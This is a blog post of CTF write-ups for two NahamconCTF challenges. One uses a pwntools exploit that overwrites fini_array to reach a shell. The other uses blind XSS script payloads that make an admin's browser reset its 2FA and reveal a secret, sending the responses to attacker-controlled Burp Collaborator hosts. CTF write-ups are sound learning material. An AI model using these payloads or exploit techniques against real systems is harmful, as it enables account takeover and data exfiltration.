Participated NahamconCTF yesterday, but did not play much, here are some of my writeups

Challenges

Detour

detour

Attachment

We got a ELF file:

detour: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=af4c8eacd5103d70965126396d4348dabfe23896, for GNU/Linux 3.2.0, not stripped

Try to run it, we can enter what and where then exit:

./detour
What: 1
Where: 1

Run checksec on it, looks like we have static function address (no PIE)

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Open it on Ghidra, and see what the main function is doing:

undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined8 local_20;
  long local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("What: ");
  __isoc99_scanf(&DAT_00402013,&local_20);
  getchar();
  printf("Where: ");
  __isoc99_scanf(&DAT_0040201f,&local_18);
  getchar();
  *(undefined8 *)((long)&base + local_18) = local_20;
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                      /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Looks like we can write any content on any address from base!

Also found a win function at 0x401209, which executes shell

void win(void)
{
  system("/bin/sh");
  return;
}

It is obvious we need to execute the win function by using write address functionality

We can write any of the GOT address, but it won’t execute after it wrote the address

Solving

We can write the fini_array content to win address! Because it will call the fini_array after main function ends

Can check the address of fini_array is 0x4031c8 on program tree, or run objdump -h ./detour

 19 .init_array   00000010  00000000004031b8  00000000004031b8  000021b8  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 20 .fini_array   00000008  00000000004031c8  00000000004031c8  000021c8  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 21 .dynamic      000001d0  00000000004031d0  00000000004031d0  000021d0  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got          00000010  00000000004033a0  00000000004033a0  000023a0  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 23 .got.plt      00000048  00000000004033b0  00000000004033b0  000023b0  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 24 .data         00000010  00000000004033f8  00000000004033f8  000023f8  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 25 .bss          00000028  0000000000403410  0000000000403410  00002408  2**4
                  ALLOC
 26 .comment      0000002b  0000000000000000  0000000000000000  00002408  2**0
                  CONTENTS, READONLY
from pwn import *
fini = 0x4031c8
base = 0x403430
win = 0x401209
elf = ELF("./detour")
# p = elf.process()
p = remote("challenge.nahamcon.com", 32364)
p.sendlineafter("What: ",str(win))
p.sendlineafter("Where: ",str(fini-base))
p.interactive()

Result:

[*] Switching to interactive mode
$ ls
bin
detour
dev
etc
flag.txt
lib
lib32
lib64
libx32
usr
$ cat flag.txt
flag{787325292ef650fa69541722bb57bed9}
$
[*] Closed connection to challenge.nahamcon.com port 32640

Flag

flag{787325292ef650fa69541722bb57bed9}

Two For One

two

It’s a website, we ask to sign up to login

two2

After signup, we need to download Google Authenticator to use the OTP:

two3

After login, we can create, edit or remove secret

In the settings page, we can change password, reset 2FA or submit feedback

two4

It is obvious we need to bypass the admin’s OTP to read the admin’s secret

After creating a secret, we can see the id is 3, so the flag is id 1 or 2

two5

Attempt 1

At first I taught it got broken authentication bug, so we can bypass the admin’s OTP

But after some testing, did not find any bug that can bypass the OTP

Attempt 2

I didn’t solve this during the CTF, look though the writeup by Weak But Leet

Now I realized I missed the blind XSS bug on the feedback form!

Using the Burp Collaborator we can confirm the XSS bug:

<script>
document.location="http://eq8wvk56ejt3yydicefknthi99fz3o.burpcollaborator.net";
</script>

two6

Yeah! Looks like we can execute XSS!

Now we can bypass the OTP by reset the admin’s OTP then can get the admin’s secret!

Reset OTP

First we need to construct payload for sending POST request to /reset2fa then get the response text

Can use XHR to send the request and send the response text to our burp collaborator (or can use https://webhook.site/)

XSS Payload:

<script>
const xhttp = new XMLHttpRequest();
xhttp.onload = function() {
  document.location="http://6lsoqc0y9bovtq8a76acilca41asyh.burpcollaborator.net?otp="+this.responseText;
}
xhttp.open("POST", "http://challenge.nahamcon.com:32330/reset2fa");
xhttp.send();
</script>

Then wait for the response:

two7

Yes! We got the OTP URL for admin! Then generate the QR code using qrencode 'otpauth://totp/Fort Knox:admin?secret=UJ6DMGID6T5NNWUZ&issuer=Fort Knox' -o qr.png

Then use the Google Authenticator to scan the QR code

Get Flag

We need to send a POST request to /show_secret using the admin’s OTP and id=1 as parameter to get the first secret

Payload:

<script>
const xhttp = new XMLHttpRequest();
xhttp.onload = function() {
  document.location="http://wvve02aoj1yl3gi0hwk2sbm0erkj88.burpcollaborator.net?flag="+this.responseText;
}
var json = {"otp":"209405","secretId":"1"};
xhttp.open("POST", "http://challenge.nahamcon.com:32330/show_secret");
xhttp.setRequestHeader('Content-Type', 'application/json');
xhttp.send(JSON.stringify(json));
</script>

Then saw the flag in the response!!

two8

Flag

flag{96710ea6be916326f96de003c1cc97cb}